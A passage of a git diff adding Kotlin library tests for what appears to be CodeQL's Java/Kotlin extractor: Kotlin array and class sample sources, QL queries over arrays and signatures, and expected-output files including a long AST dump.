+query predicate cloneCalls(MethodAccess ma, Type resultType) {
+  ma.getMethod().getName() = "clone" and resultType = ma.getType()
+}
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayGetsSets.kt b/java/ql/test/kotlin/library-tests/arrays/arrayGetsSets.kt
new file mode 100644
index 00000000000..b4c31b3ef4c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayGetsSets.kt
@@ -0,0 +1,41 @@
+fun arrayGetSet(
+  a1: IntArray,
+  a2: ShortArray,
+  a3: ByteArray,
+  a4: LongArray,
+  a5: FloatArray,
+  a6: DoubleArray,
+  a7: BooleanArray,
+  a8: CharArray,
+  a9: Array<Any>) {
+
+  a1[0] = a1[0]
+  a2[0] = a2[0]
+  a3[0] = a3[0]
+  a4[0] = a4[0]
+  a5[0] = a5[0]
+  a6[0] = a6[0]
+  a7[0] = a7[0]
+  a8[0] = a8[0]
+  a9[0] = a9[0]
+
+}
+
+fun arrayGetSetInPlace(
+  a1: IntArray,
+  //a2: ShortArray,
+  //a3: ByteArray,
+  a4: LongArray,
+  a5: FloatArray,
+  a6: DoubleArray) {
+
+  a1[0] += 1
+  // Short and Byte's arithmetic operators yield an Int,
+  // so we don't have syntax to convert the result of the arithmetic op
+  // back to the right type.
+  //a2[0] %= 1.toShort()
+  //a3[0] *= 1.toByte()
+  a4[0] /= 1L
+  a5[0] -= 1f
+  a6[0] *= 1.0
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/arrays/assignExprs.expected b/java/ql/test/kotlin/library-tests/arrays/assignExprs.expected
new file mode 100644
index 00000000000..da09855b1e0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/assignExprs.expected
@@ -0,0 +1,4 @@
+| arrayGetsSets.kt:32:3:32:7 | ...+=... | += | int[] | arrayGetsSets.kt:32:3:32:7 | ...[...] | int | arrayGetsSets.kt:32:12:32:12 | 1 | int |
+| arrayGetsSets.kt:38:3:38:7 | .../=... | /= | long[] | arrayGetsSets.kt:38:3:38:7 | ...[...] | long | arrayGetsSets.kt:38:12:38:13 | 1 | long |
+| arrayGetsSets.kt:39:3:39:7 | ...-=... | -= | float[] | arrayGetsSets.kt:39:3:39:7 | ...[...] | float | arrayGetsSets.kt:39:12:39:13 | 1.0 | float |
+| arrayGetsSets.kt:40:3:40:7 | ...*=... | *= | double[] | arrayGetsSets.kt:40:3:40:7 | ...[...] | double | arrayGetsSets.kt:40:12:40:14 | 1.0 | double |
diff --git a/java/ql/test/kotlin/library-tests/arrays/assignExprs.ql b/java/ql/test/kotlin/library-tests/arrays/assignExprs.ql
new file mode 100644
index 00000000000..8b3f4f29a8d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/assignExprs.ql
@@ -0,0 +1,5 @@
+import java
+
+from AssignOp ae
+select ae, ae.getOp(), ae.getType().toString(), ae.getDest(), ae.getDest().getType().toString(),
+  ae.getRhs(), ae.getRhs().getType().toString()
diff --git a/java/ql/test/kotlin/library-tests/arrays/primitiveArrays.kt b/java/ql/test/kotlin/library-tests/arrays/primitiveArrays.kt
new file mode 100644
index 00000000000..02f0988b208
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/primitiveArrays.kt
@@ -0,0 +1,7 @@
+package test
+
+class Test {
+
+  fun test(a: Array<Int>, b: Array<Int?>, c: IntArray, d: Array<Array<Int?>>, e: Array<Array<Int>>, f: Array<IntArray>) { } 
+
+}
diff --git a/java/ql/test/kotlin/library-tests/arrays/test.expected b/java/ql/test/kotlin/library-tests/arrays/test.expected
new file mode 100644
index 00000000000..8ef00e41d6f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/test.expected
@@ -0,0 +1,29 @@
+cloneMethods
+| file://:0:0:0:0 | clone | clone() | file://:0:0:0:0 | Integer[] | file://:0:0:0:0 | Integer[] | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| file://:0:0:0:0 | clone | clone() | file://:0:0:0:0 | Integer[][] | file://:0:0:0:0 | Integer[][] | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| file://:0:0:0:0 | clone | clone() | file://:0:0:0:0 | int[] | file://:0:0:0:0 | int[] | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| file://:0:0:0:0 | clone | clone() | file://:0:0:0:0 | int[][] | file://:0:0:0:0 | int[][] | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+sourceSignatures
+| arrayCreations.kt:3:1:39:1 | TestArrayCreation | TestArrayCreation() |
+| arrayCreations.kt:4:3:38:3 | test1 | test1() |
+| arrayCreations.kt:22:29:22:33 |  |  |
+| arrayCreations.kt:22:29:22:33 | invoke | invoke(int) |
+| arrayCreations.kt:23:24:23:28 |  |  |
+| arrayCreations.kt:23:24:23:28 | invoke | invoke(int) |
+| arrayCreations.kt:25:27:25:31 |  |  |
+| arrayCreations.kt:25:27:25:31 | invoke | invoke(int) |
+| arrayCreations.kt:26:27:26:36 |  |  |
+| arrayCreations.kt:26:27:26:36 | invoke | invoke(int) |
+| arrayCreations.kt:27:24:27:38 |  |  |
+| arrayCreations.kt:27:24:27:38 | invoke | invoke(int) |
+| arrayGetsSets.kt:1:1:22:1 | arrayGetSet | arrayGetSet(int[],short[],byte[],long[],float[],double[],boolean[],char[],java.lang.Object[]) |
+| arrayGetsSets.kt:24:1:41:1 | arrayGetSetInPlace | arrayGetSetInPlace(int[],long[],float[],double[]) |
+| primitiveArrays.kt:3:1:7:1 | Test | Test() |
+| primitiveArrays.kt:5:3:5:123 | test | test(java.lang.Integer[],java.lang.Integer[],int[],java.lang.Integer[][],java.lang.Integer[][],int[][]) |
+#select
+| primitiveArrays.kt:5:12:5:24 | a | file://:0:0:0:0 | Integer[] | Integer | Integer | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| primitiveArrays.kt:5:27:5:40 | b | file://:0:0:0:0 | Integer[] | Integer | Integer | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| primitiveArrays.kt:5:43:5:53 | c | file://:0:0:0:0 | int[] | int | int | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| primitiveArrays.kt:5:56:5:76 | d | file://:0:0:0:0 | Integer[][] | Integer[] | Integer | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| primitiveArrays.kt:5:79:5:98 | e | file://:0:0:0:0 | Integer[][] | Integer[] | Integer | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| primitiveArrays.kt:5:101:5:118 | f | file://:0:0:0:0 | int[][] | int[] | int | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
diff --git a/java/ql/test/kotlin/library-tests/arrays/test.ql b/java/ql/test/kotlin/library-tests/arrays/test.ql
new file mode 100644
index 00000000000..8fc2e64faa0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/test.ql
@@ -0,0 +1,23 @@
+import java
+
+class InterestingParameter extends Parameter {
+  InterestingParameter() { this.getFile().getBaseName() = "primitiveArrays.kt" }
+}
+
+from InterestingParameter p, Array a, KotlinType ktType
+where p.getType() = a and ktType = p.getKotlinType()
+select p, a, a.getComponentType().toString(), a.getElementType().toString(), ktType
+
+query predicate cloneMethods(
+  Method m, string signature, Array declType, Type returnType, KotlinType ktReturnType
+) {
+  any(InterestingParameter p).getType() = declType and
+  signature = m.getSignature() and
+  declType = m.getDeclaringType() and
+  returnType = m.getReturnType() and
+  ktReturnType = m.getReturnKotlinType()
+}
+
+query predicate sourceSignatures(Callable c, string signature) {
+  c.getSignature() = signature and c.fromSource()
+}
diff --git a/java/ql/test/kotlin/library-tests/classes/PrintAst.expected b/java/ql/test/kotlin/library-tests/classes/PrintAst.expected
new file mode 100644
index 00000000000..0346a4e0292
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/PrintAst.expected
@@ -0,0 +1,901 @@
+classes.kt:
+#    0| [CompilationUnit] classes
+#    0|   1: [Class] ClassesKt
+#   32|     1: [Method] f
+#   32|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   32|         0: [Parameter] s
+#   32|           0: [TypeAccess] String
+#   32|       5: [BlockStmt] { ... }
+#    2|   2: [Class] ClassOne
+#    2|     1: [Constructor] ClassOne
+#    2|       5: [BlockStmt] { ... }
+#    2|         0: [SuperConstructorInvocationStmt] super(...)
+#    2|         1: [BlockStmt] { ... }
+#    4|   3: [Class] ClassTwo
+#    4|     1: [Constructor] ClassTwo
+#-----|       4: (Parameters)
+#    4|         0: [Parameter] arg
+#    4|           0: [TypeAccess] int
+#    4|       5: [BlockStmt] { ... }
+#    4|         0: [SuperConstructorInvocationStmt] super(...)
+#    4|         1: [BlockStmt] { ... }
+#    4|           0: [ExprStmt] <Expr>;
+#    4|             0: [KtInitializerAssignExpr] ...=...
+#    4|               0: [VarAccess] arg
+#    5|           1: [ExprStmt] <Expr>;
+#    5|             0: [KtInitializerAssignExpr] ...=...
+#    5|               0: [VarAccess] x
+#    4|     2: [Method] getArg
+#    4|       3: [TypeAccess] int
+#    4|       5: [BlockStmt] { ... }
+#    4|         0: [ReturnStmt] return ...
+#    4|           0: [VarAccess] this.arg
+#    4|             -1: [ThisAccess] this
+#    4|     2: [FieldDeclaration] int arg;
+#    4|       -1: [TypeAccess] int
+#    4|       0: [VarAccess] arg
+#    5|     4: [Method] getX
+#    5|       3: [TypeAccess] int
+#    5|       5: [BlockStmt] { ... }
+#    5|         0: [ReturnStmt] return ...
+#    5|           0: [VarAccess] this.x
+#    5|             -1: [ThisAccess] this
+#    5|     4: [FieldDeclaration] int x;
+#    5|       -1: [TypeAccess] int
+#    5|       0: [IntegerLiteral] 3
+#    8|   4: [Class] ClassThree
+#    8|     1: [Constructor] ClassThree
+#    8|       5: [BlockStmt] { ... }
+#    8|         0: [SuperConstructorInvocationStmt] super(...)
+#    8|         1: [BlockStmt] { ... }
+#    9|     2: [Method] foo
+#    9|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    9|         0: [Parameter] arg
+#    9|           0: [TypeAccess] int
+#   12|   5: [Class] ClassFour
+#   12|     1: [Constructor] ClassFour
+#   12|       5: [BlockStmt] { ... }
+#   12|         0: [SuperConstructorInvocationStmt] super(...)
+#   12|         1: [BlockStmt] { ... }
+#   13|     2: [Method] foo
+#   13|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   13|         0: [Parameter] arg
+#   13|           0: [TypeAccess] int
+#   13|       5: [BlockStmt] { ... }
+#   17|   6: [Class] ClassFive
+#   17|     1: [Constructor] ClassFive
+#   17|       5: [BlockStmt] { ... }
+#   17|         0: [SuperConstructorInvocationStmt] super(...)
+#   17|         1: [BlockStmt] { ... }
+#   20|   7: [Interface] IF1
+#   21|     1: [Method] funIF1
+#   21|       3: [TypeAccess] Unit
+#   21|       5: [BlockStmt] { ... }
+#   24|   8: [Interface] IF2
+#   25|     1: [Method] funIF2
+#   25|       3: [TypeAccess] Unit
+#   25|       5: [BlockStmt] { ... }
+#   28|   9: [Class] ClassSix
+#   28|     1: [Constructor] ClassSix
+#   28|       5: [BlockStmt] { ... }
+#   28|         0: [SuperConstructorInvocationStmt] super(...)
+#   28|         1: [BlockStmt] { ... }
+#   29|     2: [Constructor] ClassSix
+#-----|       4: (Parameters)
+#   29|         0: [Parameter] i
+#   29|           0: [TypeAccess] int
+#   29|       5: [BlockStmt] { ... }
+#   29|         0: [ThisConstructorInvocationStmt] this(...)
+#   34|   10: [Class] ClassSeven
+#   35|     1: [Constructor] ClassSeven
+#-----|       4: (Parameters)
+#   35|         0: [Parameter] i
+#   35|           0: [TypeAccess] String
+#   35|       5: [BlockStmt] { ... }
+#   35|         0: [SuperConstructorInvocationStmt] super(...)
+#   35|         1: [BlockStmt] { ... }
+#   39|           0: [ExprStmt] <Expr>;
+#   39|             0: [MethodAccess] f(...)
+#   39|               -1: [TypeAccess] ClassesKt
+#   39|               0: [StringLiteral] init1
+#   42|           1: [ExprStmt] <Expr>;
+#   42|             0: [KtInitializerAssignExpr] ...=...
+#   42|               0: [VarAccess] x
+#   45|           2: [ExprStmt] <Expr>;
+#   45|             0: [MethodAccess] f(...)
+#   45|               -1: [TypeAccess] ClassesKt
+#   45|               0: [StringLiteral] init2
+#   36|         2: [ExprStmt] <Expr>;
+#   36|           0: [MethodAccess] f(...)
+#   36|             -1: [TypeAccess] ClassesKt
+#   36|             0: [VarAccess] i
+#   42|     2: [Method] getX
+#   42|       3: [TypeAccess] int
+#   42|       5: [BlockStmt] { ... }
+#   42|         0: [ReturnStmt] return ...
+#   42|           0: [VarAccess] this.x
+#   42|             -1: [ThisAccess] this
+#   42|     2: [FieldDeclaration] int x;
+#   42|       -1: [TypeAccess] int
+#   42|       0: [IntegerLiteral] 3
+#   49|   11: [Class] Direction
+#    0|     1: [Method] values
+#    0|       3: [TypeAccess] Direction[]
+#    0|         0: [TypeAccess] Direction
+#    0|     1: [Method] valueOf
+#    0|       3: [TypeAccess] Direction
+#-----|       4: (Parameters)
+#    0|         0: [Parameter] value
+#    0|           0: [TypeAccess] String
+#   49|     4: [Constructor] Direction
+#   49|       5: [BlockStmt] { ... }
+#   49|         0: [ExprStmt] <Expr>;
+#   49|           0: [ClassInstanceExpr] new Enum(...)
+#   49|             -3: [TypeAccess] Unit
+#   49|               0: [TypeAccess] Direction
+#   49|         1: [BlockStmt] { ... }
+#   50|     5: [FieldDeclaration] Direction NORTH;
+#   50|       -1: [TypeAccess] Direction
+#   50|       0: [ClassInstanceExpr] new Direction(...)
+#   50|         -3: [TypeAccess] Direction
+#   50|     6: [FieldDeclaration] Direction SOUTH;
+#   50|       -1: [TypeAccess] Direction
+#   50|       0: [ClassInstanceExpr] new Direction(...)
+#   50|         -3: [TypeAccess] Direction
+#   50|     7: [FieldDeclaration] Direction WEST;
+#   50|       -1: [TypeAccess] Direction
+#   50|       0: [ClassInstanceExpr] new Direction(...)
+#   50|         -3: [TypeAccess] Direction
+#   50|     8: [FieldDeclaration] Direction EAST;
+#   50|       -1: [TypeAccess] Direction
+#   50|       0: [ClassInstanceExpr] new Direction(...)
+#   50|         -3: [TypeAccess] Direction
+#   53|   12: [Class] Color
+#    0|     1: [Method] values
+#    0|       3: [TypeAccess] Color[]
+#    0|         0: [TypeAccess] Color
+#    0|     1: [Method] valueOf
+#    0|       3: [TypeAccess] Color
+#-----|       4: (Parameters)
+#    0|         0: [Parameter] value
+#    0|           0: [TypeAccess] String
+#   53|     4: [Constructor] Color
+#-----|       4: (Parameters)
+#   53|         0: [Parameter] rgb
+#   53|           0: [TypeAccess] int
+#   53|       5: [BlockStmt] { ... }
+#   53|         0: [ExprStmt] <Expr>;
+#   53|           0: [ClassInstanceExpr] new Enum(...)
+#   53|             -3: [TypeAccess] Unit
+#   53|               0: [TypeAccess] Color
+#   53|         1: [BlockStmt] { ... }
+#   53|           0: [ExprStmt] <Expr>;
+#   53|             0: [KtInitializerAssignExpr] ...=...
+#   53|               0: [VarAccess] rgb
+#   53|     5: [Method] getRgb
+#   53|       3: [TypeAccess] int
+#   53|       5: [BlockStmt] { ... }
+#   53|         0: [ReturnStmt] return ...
+#   53|           0: [VarAccess] this.rgb
+#   53|             -1: [ThisAccess] this
+#   53|     5: [FieldDeclaration] int rgb;
+#   53|       -1: [TypeAccess] int
+#   53|       0: [VarAccess] rgb
+#   54|     7: [FieldDeclaration] Color RED;
+#   54|       -1: [TypeAccess] Color
+#   54|       0: [ClassInstanceExpr] new Color(...)
+#   54|         -3: [TypeAccess] Color
+#   54|         0: [IntegerLiteral] 16711680
+#   55|     8: [FieldDeclaration] Color GREEN;
+#   55|       -1: [TypeAccess] Color
+#   55|       0: [ClassInstanceExpr] new Color(...)
+#   55|         -3: [TypeAccess] Color
+#   55|         0: [IntegerLiteral] 65280
+#   56|     9: [FieldDeclaration] Color BLUE;
+#   56|       -1: [TypeAccess] Color
+#   56|       0: [ClassInstanceExpr] new Color(...)
+#   56|         -3: [TypeAccess] Color
+#   56|         0: [IntegerLiteral] 255
+#   59|   13: [Interface] Interface1
+#   60|   14: [Interface] Interface2
+#   61|   15: [GenericType,Interface,ParameterizedType] Interface3
+#-----|     -2: (Generic Parameters)
+#   61|       0: [TypeVariable] T
+#   63|   16: [Class] Class1
+#   63|     1: [Constructor] Class1
+#   63|       5: [BlockStmt] { ... }
+#   63|         0: [SuperConstructorInvocationStmt] super(...)
+#   63|         1: [BlockStmt] { ... }
+#   64|     2: [Method] getObject1
+#   64|       3: [TypeAccess] Object
+#-----|       4: (Parameters)
+#   64|         0: [Parameter] b
+#   64|           0: [TypeAccess] boolean
+#   64|       5: [BlockStmt] { ... }
+#   65|         0: [ExprStmt] <Expr>;
+#   65|           0: [WhenExpr] when ...
+#   65|             0: [WhenBranch] ... -> ...
+#   65|               0: [VarAccess] b
+#   66|               1: [ReturnStmt] return ...
+#   66|                 0: [StmtExpr] <Stmt>
+#   66|                   0: [BlockStmt] { ... }
+#   66|                     0: [LocalTypeDeclStmt] class ...
+#   66|                       0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   66|                         1: [Constructor] 
+#   66|                           5: [BlockStmt] { ... }
+#   66|                             0: [SuperConstructorInvocationStmt] super(...)
+#   66|                             1: [BlockStmt] { ... }
+#   66|                     1: [ExprStmt] <Expr>;
+#   66|                       0: [ClassInstanceExpr] new (...)
+#   66|                         -3: [TypeAccess] Object
+#   65|             1: [WhenBranch] ... -> ...
+#   65|               0: [BooleanLiteral] true
+#   68|               1: [ReturnStmt] return ...
+#   68|                 0: [StmtExpr] <Stmt>
+#   68|                   0: [BlockStmt] { ... }
+#   68|                     0: [LocalTypeDeclStmt] class ...
+#   68|                       0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   68|                         1: [Constructor] 
+#   68|                           5: [BlockStmt] { ... }
+#   68|                             0: [SuperConstructorInvocationStmt] super(...)
+#   68|                             1: [BlockStmt] { ... }
+#   68|                     1: [ExprStmt] <Expr>;
+#   68|                       0: [ClassInstanceExpr] new (...)
+#   68|                         -3: [TypeAccess] Object
+#   71|     3: [Method] getObject2
+#   71|       3: [TypeAccess] Interface1
+#   71|       5: [BlockStmt] { ... }
+#   72|         0: [ReturnStmt] return ...
+#   72|           0: [StmtExpr] <Stmt>
+#   72|             0: [BlockStmt] { ... }
+#   72|               0: [LocalTypeDeclStmt] class ...
+#   72|                 0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   72|                   1: [Constructor] 
+#   72|                     5: [BlockStmt] { ... }
+#   72|                       0: [SuperConstructorInvocationStmt] super(...)
+#   72|                       1: [BlockStmt] { ... }
+#   73|                         0: [ExprStmt] <Expr>;
+#   73|                           0: [KtInitializerAssignExpr] ...=...
+#   73|                             0: [VarAccess] x
+#   73|                   2: [Method] getX
+#   73|                     3: [TypeAccess] int
+#   73|                     5: [BlockStmt] { ... }
+#   73|                       0: [ReturnStmt] return ...
+#   73|                         0: [VarAccess] this.x
+#   73|                           -1: [ThisAccess] this
+#   73|                   2: [FieldDeclaration] int x;
+#   73|                     -1: [TypeAccess] int
+#   73|                     0: [IntegerLiteral] 1
+#   74|                   4: [Method] foo
+#   74|                     3: [TypeAccess] Object
+#   74|                     5: [BlockStmt] { ... }
+#   75|                       0: [ReturnStmt] return ...
+#   75|                         0: [StmtExpr] <Stmt>
+#   75|                           0: [BlockStmt] { ... }
+#   75|                             0: [LocalTypeDeclStmt] class ...
+#   75|                               0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   75|                                 1: [Constructor] 
+#   75|                                   5: [BlockStmt] { ... }
+#   75|                                     0: [SuperConstructorInvocationStmt] super(...)
+#   75|                                     1: [BlockStmt] { ... }
+#   75|                             1: [ExprStmt] <Expr>;
+#   75|                               0: [ClassInstanceExpr] new (...)
+#   75|                                 -3: [TypeAccess] Object
+#   72|               1: [ExprStmt] <Expr>;
+#   72|                 0: [ClassInstanceExpr] new (...)
+#   72|                   -3: [TypeAccess] Object
+#   80|     4: [Method] getObject3
+#   80|       3: [TypeAccess] Object
+#   80|       5: [BlockStmt] { ... }
+#   81|         0: [ReturnStmt] return ...
+#   81|           0: [StmtExpr] <Stmt>
+#   81|             0: [BlockStmt] { ... }
+#   81|               0: [LocalTypeDeclStmt] class ...
+#   81|                 0: [AnonymousClass,LocalClass] new Interface1(...) { ... }
+#   81|                   1: [Constructor] 
+#   81|                     5: [BlockStmt] { ... }
+#   81|                       0: [SuperConstructorInvocationStmt] super(...)
+#   81|                       1: [BlockStmt] { ... }
+#   81|               1: [ExprStmt] <Expr>;
+#   81|                 0: [ClassInstanceExpr] new (...)
+#   81|                   -3: [TypeAccess] Interface1
+#   84|     5: [Method] getObject4
+#   84|       3: [TypeAccess] Object
+#   84|       5: [BlockStmt] { ... }
+#   85|         0: [ReturnStmt] return ...
+#   85|           0: [StmtExpr] <Stmt>
+#   85|             0: [BlockStmt] { ... }
+#   85|               0: [LocalTypeDeclStmt] class ...
+#   85|                 0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   85|                   1: [Constructor] 
+#   85|                     5: [BlockStmt] { ... }
+#   85|                       0: [SuperConstructorInvocationStmt] super(...)
+#   85|                       1: [BlockStmt] { ... }
+#   85|               1: [ExprStmt] <Expr>;
+#   85|                 0: [ClassInstanceExpr] new (...)
+#   85|                   -3: [TypeAccess] Object
+#   88|     6: [Method] getObject5
+#   88|       3: [TypeAccess] Object
+#   88|       5: [BlockStmt] { ... }
+#   89|         0: [ReturnStmt] return ...
+#   89|           0: [StmtExpr] <Stmt>
+#   89|             0: [BlockStmt] { ... }
+#   89|               0: [LocalTypeDeclStmt] class ...
+#   89|                 0: [AnonymousClass,LocalClass] new Interface3<Integer>(...) { ... }
+#   89|                   1: [Constructor] 
+#   89|                     5: [BlockStmt] { ... }
+#   89|                       0: [SuperConstructorInvocationStmt] super(...)
+#   89|                       1: [BlockStmt] { ... }
+#   89|               1: [ExprStmt] <Expr>;
+#   89|                 0: [ClassInstanceExpr] new (...)
+#   89|                   -3: [TypeAccess] Interface3<Integer>
+#   93|   17: [Class] pulicClass
+#   93|     1: [Constructor] pulicClass
+#   93|       5: [BlockStmt] { ... }
+#   93|         0: [SuperConstructorInvocationStmt] super(...)
+#   93|         1: [BlockStmt] { ... }
+#   94|   18: [Class] privateClass
+#   94|     1: [Constructor] privateClass
+#   94|       5: [BlockStmt] { ... }
+#   94|         0: [SuperConstructorInvocationStmt] super(...)
+#   94|         1: [BlockStmt] { ... }
+#   95|   19: [Class] internalClass
+#   95|     1: [Constructor] internalClass
+#   95|       5: [BlockStmt] { ... }
+#   95|         0: [SuperConstructorInvocationStmt] super(...)
+#   95|         1: [BlockStmt] { ... }
+#   96|   20: [Class] noExplicitVisibilityClass
+#   96|     1: [Constructor] noExplicitVisibilityClass
+#   96|       5: [BlockStmt] { ... }
+#   96|         0: [SuperConstructorInvocationStmt] super(...)
+#   96|         1: [BlockStmt] { ... }
+#   98|   21: [Class] nestedClassVisibilities
+#   98|     1: [Constructor] nestedClassVisibilities
+#   98|       5: [BlockStmt] { ... }
+#   98|         0: [SuperConstructorInvocationStmt] super(...)
+#   98|         1: [BlockStmt] { ... }
+#   99|     2: [Class] pulicNestedClass
+#   99|       1: [Constructor] pulicNestedClass
+#   99|         5: [BlockStmt] { ... }
+#   99|           0: [SuperConstructorInvocationStmt] super(...)
+#   99|           1: [BlockStmt] { ... }
+#  100|     3: [Class] protectedNestedClass
+#  100|       1: [Constructor] protectedNestedClass
+#  100|         5: [BlockStmt] { ... }
+#  100|           0: [SuperConstructorInvocationStmt] super(...)
+#  100|           1: [BlockStmt] { ... }
+#  101|     4: [Class] privateNestedClass
+#  101|       1: [Constructor] privateNestedClass
+#  101|         5: [BlockStmt] { ... }
+#  101|           0: [SuperConstructorInvocationStmt] super(...)
+#  101|           1: [BlockStmt] { ... }
+#  102|     5: [Class] internalNestedClass
+#  102|       1: [Constructor] internalNestedClass
+#  102|         5: [BlockStmt] { ... }
+#  102|           0: [SuperConstructorInvocationStmt] super(...)
+#  102|           1: [BlockStmt] { ... }
+#  103|     6: [Class] noExplicitVisibilityNestedClass
+#  103|       1: [Constructor] noExplicitVisibilityNestedClass
+#  103|         5: [BlockStmt] { ... }
+#  103|           0: [SuperConstructorInvocationStmt] super(...)
+#  103|           1: [BlockStmt] { ... }
+#  106|   22: [Class] sealedClass
+#  106|     1: [Constructor] sealedClass
+#  106|       5: [BlockStmt] { ... }
+#  106|         0: [SuperConstructorInvocationStmt] super(...)
+#  106|         1: [BlockStmt] { ... }
+#  107|   23: [Class] openClass
+#  107|     1: [Constructor] openClass
+#  107|       5: [BlockStmt] { ... }
+#  107|         0: [SuperConstructorInvocationStmt] super(...)
+#  107|         1: [BlockStmt] { ... }
+#  109|   24: [Class] C1
+#  109|     1: [Constructor] C1
+#  109|       5: [BlockStmt] { ... }
+#  109|         0: [SuperConstructorInvocationStmt] super(...)
+#  109|         1: [BlockStmt] { ... }
+#  110|     2: [Method] fn1
+#  110|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  110|         0: [Parameter] p
+#  110|           0: [TypeAccess] int
+#  110|       5: [BlockStmt] { ... }
+#  111|         0: [LocalTypeDeclStmt] class ...
+#  111|           0: [Class,GenericType,LocalClass,ParameterizedType] Local1
+#-----|             -2: (Generic Parameters)
+#  111|               0: [TypeVariable] T1
+#  111|             1: [Constructor] Local1
+#  111|               5: [BlockStmt] { ... }
+#  111|                 0: [SuperConstructorInvocationStmt] super(...)
+#  111|                 1: [BlockStmt] { ... }
+#  112|             2: [Method] foo
+#  112|               3: [TypeAccess] Unit
+#-----|               4: (Parameters)
+#  112|                 0: [Parameter] p
+#  112|                   0: [TypeAccess] int
+#  112|               5: [BlockStmt] { ... }
+#  114|         1: [ExprStmt] <Expr>;
+#  114|           0: [MethodAccess] foo(...)
+#  114|             -1: [ClassInstanceExpr] new Local1<Integer>(...)
+#  114|               -3: [TypeAccess] Local1<Integer>
+#  114|                 0: [TypeAccess] Integer
+#  114|             0: [VarAccess] p
+#  117|     3: [Method] fn2
+#  117|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  117|         0: [Parameter] p
+#  117|           0: [TypeAccess] int
+#  117|       5: [BlockStmt] { ... }
+#  118|         0: [LocalTypeDeclStmt] class ...
+#  118|           0: [LocalClass] 
+#  118|             1: [Constructor] 
+#  118|               5: [BlockStmt] { ... }
+#  118|                 0: [SuperConstructorInvocationStmt] super(...)
+#  118|             1: [Method] localFn
+#  118|               3: [TypeAccess] Unit
+#  118|               5: [BlockStmt] { ... }
+#  119|                 0: [LocalTypeDeclStmt] class ...
+#  119|                   0: [Class,GenericType,LocalClass,ParameterizedType] Local2
+#-----|                     -2: (Generic Parameters)
+#  119|                       0: [TypeVariable] T1
+#  119|                     1: [Constructor] Local2
+#  119|                       5: [BlockStmt] { ... }
+#  119|                         0: [SuperConstructorInvocationStmt] super(...)
+#  119|                         1: [BlockStmt] { ... }
+#  120|                     2: [Method] foo
+#  120|                       3: [TypeAccess] Unit
+#-----|                       4: (Parameters)
+#  120|                         0: [Parameter] p
+#  120|                           0: [TypeAccess] int
+#  120|                       5: [BlockStmt] { ... }
+#  122|                 1: [ExprStmt] <Expr>;
+#  122|                   0: [MethodAccess] foo(...)
+#  122|                     -1: [ClassInstanceExpr] new Local2<Integer>(...)
+#  122|                       -3: [TypeAccess] Local2<Integer>
+#  122|                         0: [TypeAccess] Integer
+#  122|                     0: [VarAccess] p
+#  126|     4: [Method] fn3
+#  126|       3: [TypeAccess] Object
+#-----|       4: (Parameters)
+#  126|         0: [Parameter] p
+#  126|           0: [TypeAccess] int
+#  126|       5: [BlockStmt] { ... }
+#  127|         0: [ReturnStmt] return ...
+#  127|           0: [StmtExpr] <Stmt>
+#  127|             0: [BlockStmt] { ... }
+#  127|               0: [LocalTypeDeclStmt] class ...
+#  127|                 0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#  127|                   1: [Constructor] 
+#  127|                     5: [BlockStmt] { ... }
+#  127|                       0: [SuperConstructorInvocationStmt] super(...)
+#  127|                       1: [BlockStmt] { ... }
+#  128|                   2: [Method] fn
+#  128|                     3: [TypeAccess] Unit
+#  128|                     5: [BlockStmt] { ... }
+#  129|                       0: [LocalTypeDeclStmt] class ...
+#  129|                         0: [Class,GenericType,LocalClass,ParameterizedType] Local3
+#-----|                           -2: (Generic Parameters)
+#  129|                             0: [TypeVariable] T1
+#  129|                           1: [Constructor] Local3
+#  129|                             5: [BlockStmt] { ... }
+#  129|                               0: [SuperConstructorInvocationStmt] super(...)
+#  129|                               1: [BlockStmt] { ... }
+#  130|                           2: [Method] foo
+#  130|                             3: [TypeAccess] Unit
+#-----|                             4: (Parameters)
+#  130|                               0: [Parameter] p
+#  130|                                 0: [TypeAccess] int
+#  130|                             5: [BlockStmt] { ... }
+#  132|                       1: [ExprStmt] <Expr>;
+#  132|                         0: [MethodAccess] foo(...)
+#  132|                           -1: [ClassInstanceExpr] new Local3<Integer>(...)
+#  132|                             -3: [TypeAccess] Local3<Integer>
+#  132|                               0: [TypeAccess] Integer
+#  132|                           0: [VarAccess] p
+#  127|               1: [ExprStmt] <Expr>;
+#  127|                 0: [ClassInstanceExpr] new (...)
+#  127|                   -3: [TypeAccess] Object
+generic_anonymous.kt:
+#    0| [CompilationUnit] generic_anonymous
+#    0|   1: [Class] Generic_anonymousKt
+#   11|     1: [Method] stringIdentity
+#   11|       3: [TypeAccess] String
+#-----|       4: (Parameters)
+#   11|         0: [Parameter] s
+#   11|           0: [TypeAccess] String
+#   11|       5: [BlockStmt] { ... }
+#   11|         0: [ReturnStmt] return ...
+#   11|           0: [MethodAccess] get(...)
+#   11|             -1: [ClassInstanceExpr] new Generic<String>(...)
